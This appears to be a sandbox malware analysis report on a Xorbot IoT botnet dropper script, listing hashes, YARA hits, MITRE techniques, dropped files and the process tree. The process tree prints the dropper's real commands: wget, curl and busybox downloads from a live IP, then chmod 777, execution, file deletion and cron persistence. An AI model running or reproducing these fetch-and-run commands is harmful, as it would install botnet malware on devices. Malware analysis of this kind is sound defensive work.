xorbot | 12201bdbf03e90f7421b3d4c4b612c6e541b1e24313cd2e090787567d3722f44

Analysis

max time kernel
150s
max time network
87s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
04-12-2024 02:41

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General

Target

bins.sh
Size

10KB
MD5

437a00555767f8c3201fad3f0c8593c4
SHA1

4e504c7b16ed9c01b17acd57643c6aa2e1dc8996
SHA256

12201bdbf03e90f7421b3d4c4b612c6e541b1e24313cd2e090787567d3722f44
SHA512

3caf18ed0ab4540decbb2469237a14ee4874c23e0ad7b93531a1dd4c31e48375ae9793fef3bd53e8dd49a129b37f69476c46cc988a61a8d2ef21bfc7d4e4c1de
SSDEEP

192:cv4UQmpRVu66kkmhNiumVxXI4xkkmhNd8VxXI4DUQmpRFW:cv4UQmpRc6TmVxXI4ZVxXI4DUQmpRY

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-8.dat	family_xorbot
behavioral4/files/fstream-9.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmod

pid	Process
739	chmod
746	chmod
770	chmod
787	chmod
805	chmod

Executes dropped EXE 5 IoCs

Processes:

FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cXdEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Zi7wnBa0kpJNfw3Qa7N90WDGDAfY2gh6CMl

ioc	pid	Process
/tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5	740	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
/tmp/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK	747	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
/tmp/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX	771	8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
/tmp/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z	788	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
/tmp/i7wnBa0kpJNfw3Qa7N90WDGDAfY2gh6CMl	806	i7wnBa0kpJNfw3Qa7N90WDGDAfY2gh6CMl

Renames itself 1 IoCs

Processes:

bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK

pid	Process
748	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.rd9vQd	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

crontabbh1FHs9LnwxW7pM19PcTvzopGznKILHHWK

description	ioc	Process
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/472/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/822/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/13/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/20/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/166/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/396/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/786/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/793/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/804/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/816/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/9/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/762/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/813/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/14/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/705/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/754/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/799/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/6/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/18/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/773/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/105/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/148/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/757/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/759/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/814/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/16/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/37/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/336/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/685/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/848/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/340/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/486/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/513/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/709/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/771/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/854/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/716/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/806/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/817/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/844/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/849/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/851/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/77/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/334/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/769/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/775/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/794/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/78/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/756/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/812/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/3/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/15/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/73/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/243/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/807/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/808/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/8/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/19/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/24/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/76/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/12/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/367/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
File opened for reading	/proc/698/cmdline	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlwgetbusyboxbusyboxbusyboxcurlbusyboxbusybox

description	ioc	Process
File opened for modification	/tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5	wget
File opened for modification	/tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5	curl
File opened for modification	/tmp/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK	wget
File opened for modification	/tmp/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX	busybox
File opened for modification	/tmp/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z	busybox
File opened for modification	/tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5	busybox
File opened for modification	/tmp/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK	curl
File opened for modification	/tmp/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK	busybox
File opened for modification	/tmp/i7wnBa0kpJNfw3Qa7N90WDGDAfY2gh6CMl	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:706
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:710
- /usr/bin/wget
  wget http://216.126.231.240/bins/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
  2⤵
  - Writes file to tmp directory
  PID:715
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
  2⤵
  - Writes file to tmp directory
  PID:730
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
  2⤵
  - Writes file to tmp directory
  PID:737
- /bin/chmod
  chmod 777 FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
  ./FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
  2⤵
  PID:742
- /usr/bin/wget
  wget http://216.126.231.240/bins/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
  2⤵
  - Writes file to tmp directory
  PID:743
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
  2⤵
  - Writes file to tmp directory
  PID:744
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
  2⤵
  - Writes file to tmp directory
  PID:745
- /bin/chmod
  chmod 777 bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
  ./bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:747
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:749
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:750
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:751
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:753
- /bin/rm
  rm bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
  2⤵
  PID:755
- /usr/bin/wget
  wget http://216.126.231.240/bins/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
  2⤵
  PID:759
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
  2⤵
  PID:761
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
  2⤵
  - Writes file to tmp directory
  PID:763
- /bin/chmod
  chmod 777 8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
  ./8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
  2⤵
  - Executes dropped EXE
  PID:771
- /bin/rm
  rm 8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
  2⤵
  PID:775
- /usr/bin/wget
  wget http://216.126.231.240/bins/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
  2⤵
  PID:776
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
  2⤵
  PID:778
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
  2⤵
  - Writes file to tmp directory
  PID:781
- /bin/chmod
  chmod 777 dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
  ./dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
  2⤵
  - Executes dropped EXE
  PID:788
- /bin/rm
  rm dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
  2⤵
  PID:792
- /usr/bin/wget
  wget http://216.126.231.240/bins/i7wnBa0kpJNfw3Qa7N90WDGDAfY2gh6CMl
  2⤵
  PID:793
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/i7wnBa0kpJNfw3Qa7N90WDGDAfY2gh6CMl
  2⤵
  PID:794
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/i7wnBa0kpJNfw3Qa7N90WDGDAfY2gh6CMl
  2⤵
  - Writes file to tmp directory
  PID:797
- /bin/chmod
  chmod 777 i7wnBa0kpJNfw3Qa7N90WDGDAfY2gh6CMl
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/i7wnBa0kpJNfw3Qa7N90WDGDAfY2gh6CMl
  ./i7wnBa0kpJNfw3Qa7N90WDGDAfY2gh6CMl
  2⤵
  - Executes dropped EXE
  PID:806
- /bin/rm
  rm i7wnBa0kpJNfw3Qa7N90WDGDAfY2gh6CMl
  2⤵
  PID:811
- /usr/bin/wget
  wget http://216.126.231.240/bins/iKVeVXwfEt7QpA6FxSnEmm0ggXl3wnffbr
  2⤵
  PID:812
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/iKVeVXwfEt7QpA6FxSnEmm0ggXl3wnffbr
  2⤵
  PID:814

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/i7wnBa0kpJNfw3Qa7N90WDGDAfY2gh6CMl

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

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/var/spool/cron/crontabs/tmp.rd9vQd

Filesize
210B

MD5
2efe47e5993d33a59b4c54dd9810502f

SHA1
b984f14bb5e78459695a3d31fb127907e80ab9eb

SHA256
639685567cc38e0cf21280ac20efb589adc312fd48a70a38b754f64add6d86e8

SHA512
d380c5c1595f74d53cb6e542dc7a2d10fdde7254f76cb4ab48c4ec3f534e446b7287d6ed0a76a554c88e81e0ed6d9036492a64526ff55abf647d2ef6471a6a54

Download Submit